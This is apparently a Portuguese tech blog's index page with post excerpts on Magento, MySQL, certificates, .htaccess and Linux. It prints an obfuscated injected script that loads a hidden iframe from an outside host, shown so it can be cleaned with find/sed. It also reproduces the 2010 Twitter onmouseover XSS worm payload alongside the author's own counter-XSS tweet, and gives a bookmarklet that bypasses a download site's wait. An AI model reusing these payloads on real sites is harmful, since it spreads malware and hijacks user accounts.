Adicionando campos customizados ao Customer no Magento

Adicionar um novo atributo(attribute) customizado(custom) para o cliente(custormer) no Magento nunca foi tão fácil, mas tenho que admitir que apanhei um pouco pra chegar nesse resultado final.

Basicamente o gostaria de fazer era adicionar um campo customizado ao customer do Magento e exibi-lo tanto no admin, quanto na página de registro e na página de informações do usuário o "Minha conta" (my account).

No exemplo que fiz aqui adicionei um campo customizado chamado CPF e o defini como obrigatório. A primeira parte desse código adiciona o atributo "cpf" ao cliente, ou seja cliente vai ter um atributo a mais. Além de nome, sobrenome ... e outras diversas informações, vai ter também o CPF.

Continuar lendo

Resetando a senha do ADMIN no Magento

Começo esse post declarando que o conhecimento aqui divulgado é fruto do meu esquecimento da senha do admin da minha instalação local do Magento.

Esse passo a passo serve não só para mudar a senha do admin como a de qualquer outro usuário administrador. Nas versões mais novas do Magento é possível determinar um nome de usuário para representar o admin, ou seja, meu usuário administrador pode ser thiagosantos. Por tanto esteje atendo ao seu nome do usuário administrador! Para esse post vou admitir que o meu usuário administrador é o admin.

UPDATE xxx_admin_user SET password=CONCAT(MD5('HHsenha'), ':HH')
WHERE username='admin';

Continuar lendo

Guia rápido de conversão e criação de certificados

Esse é um guia rápido de referência para a conversão de certificados e a criação de certificados. Todos os comandos para a conversão ou a criação foram feitos no shell do Linux, a distro que usei foi o Gentoo. Continuar lendo

Magento – coleção de produtos / catalog/product_collection

Em casos bem comuns trabalhando com ecommerce temos a necessidade em alguns momentos de ter em mãos uma lista de certos produtos. Sejam esses produtos de uma certa categoria, ou tageados com certas palavras chaves ou dentro de uma faixa de valor.

O Magento trata essa lista de produtos como uma coleção de produtos, que possui um modelo próprio para tratar isso, criando uma interface simpática ao desenvolvedor para criar complexas consultas SQL. Há duas formas de acessar essa interface do "Product Collection" usando o modelo do catalog/product ou acessando diretamente o recurso do modelo , resource model, o catalog/product_collection. Se você der uma olhada na classe Mage_Catalog_Model_Resource_Eav_Mysql4_Product_Collection, encontrado pelo caminho core/Mage/Catalog/Model/Resource/Eav/Mysql4/Product/Collection.php, é possível ver todos os métodos disponíveis e como eles são implementados.
Continuar lendo

Exportando e importando dados do mySQL por linha de comando

A motivação que me fez criar esse post partiu de um dos itens de um teste que bolamos aqui na empresa para uma vaga de SysAdmin Linux. A partir do momento em que alguns candidatos a vaga encontravam alguma dificuldade para restaurar um dump do mySQL por linha de comando (sendo não ser obrigatório por linha de comando).

Nesta página temos as sessões:

  1. Basicamente fazendo o dump do mySQL
  2. Restaurando um banco mySQL
  3. Atenção as setas!

Burlando o LinkSave

Há algo mais chato e entediante do que querer fazer um download e ser forçado a esperar 40 segundos ou cadastrar o seu celular para poder fazer o download?

É assim que funciona o LinkSave, mas existem inúmeros.

O código abaixo é só para o LinkSave e deve ser digitado na sua barra de endereço.

javascript:segundos=0;contador();void(0);

E o botão lá embaixo funciona mágicamente sem ter que cadastrar nada e nem esperar um século, se alguem quiser explicações do código comenta ai.

Abraço

Alterando o arquivo index com .htaccess

Um ponto no Apache que é muito útil é o .htaccess. Que são configurações do próprio Apache que podem ser usadas em diretórios para sobrescrever as configuração padrão.
Quando você navega em um site, que usa o Apache, e não define o arquivo que quer acessar (como por exemplo: http://thiagosantos.com/blog/ ao invés de http://thiagosantos.com/blog/index.php) o Apache procura pelo arquivo padrão do diretório.
Se requisitarmos a URL http://thiagosantos.com/blog/ o Apache vai procurar pelo arquivo padrão para essa pasta que nesse caso é o arquivo index.php, logo acessar http://thiagosantos.com/blog/http://thiagosantos.com/blog/index.php dá no mesmo.
Normalmente o Apache está configurado da seguinte forma:
DirectoryIndex index.html index.php index.htm default.htm

Buscar e substituir em muitos arquivos find e sed

Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1
Ou porquê você quer aprender a buscar e substituir no Linux! - Pule para o passo 2

 

Passo 1 -

Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.

 

Passo 2 -

O script que aparece no final de todos os arquivos é o abaixo:

<script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->
Usando o find com o sed, removemos o script de todos os arquivos:
  • find para achar todos os arquivos PHP:
    find . -iname "*.php"

  • o sed para substituir a parte do texto que bate com a expressão regular:
    sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!
find . -iname '*.php' | xargs sed -i 's/<script.*uy7gdr5332rkmn -->/ /g'

Por hoje é só!
Abraços

Twitter Under XSS Attack : patch

Demorou um tempo mas aconteceu novamente!
Twitter alvo de XSS em massa (#TwitterUnderXSSAttack ) , mas vamos parar de falatorio e ir direto a solução temporaria.

Na sua barra de endereço do seu navegador (onde vc digita o www) cole o codigo a seguir e tecle "enter".

javascript:$('.modal-overlay').each(function(e,f){ $(f).removeClass('modal-overlay')});

Aproveitando o attack dos caras, criei o meu próprio que vai anular o deles é só mandar a mensagem no Twitter ( ainda não fiz muitos testes ) :


http://t.co/@"onmouseover="javascript: $('.modal-overlay').each(function(e,f){ $(f).removeClass('modal-overlay')})"class="modal-overlay"/ #workaround RT

Dessa forma ele vai tirar o overlay que fica sobre a sua página, em seguida você imediatamente vai tirar o RT e deletar todos os seus post com o tal do

http://t.co/@"onmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();"class="modal-overlay"/

E não usem o Twitter web até que esteja seguro novamente, use um dos milhares de clients!
Ou usem o Twitter mobile em https://mobile.twitter.com/
Pq bloquear todos os seus amigos não vai ser muito interessante né?rs

Abraço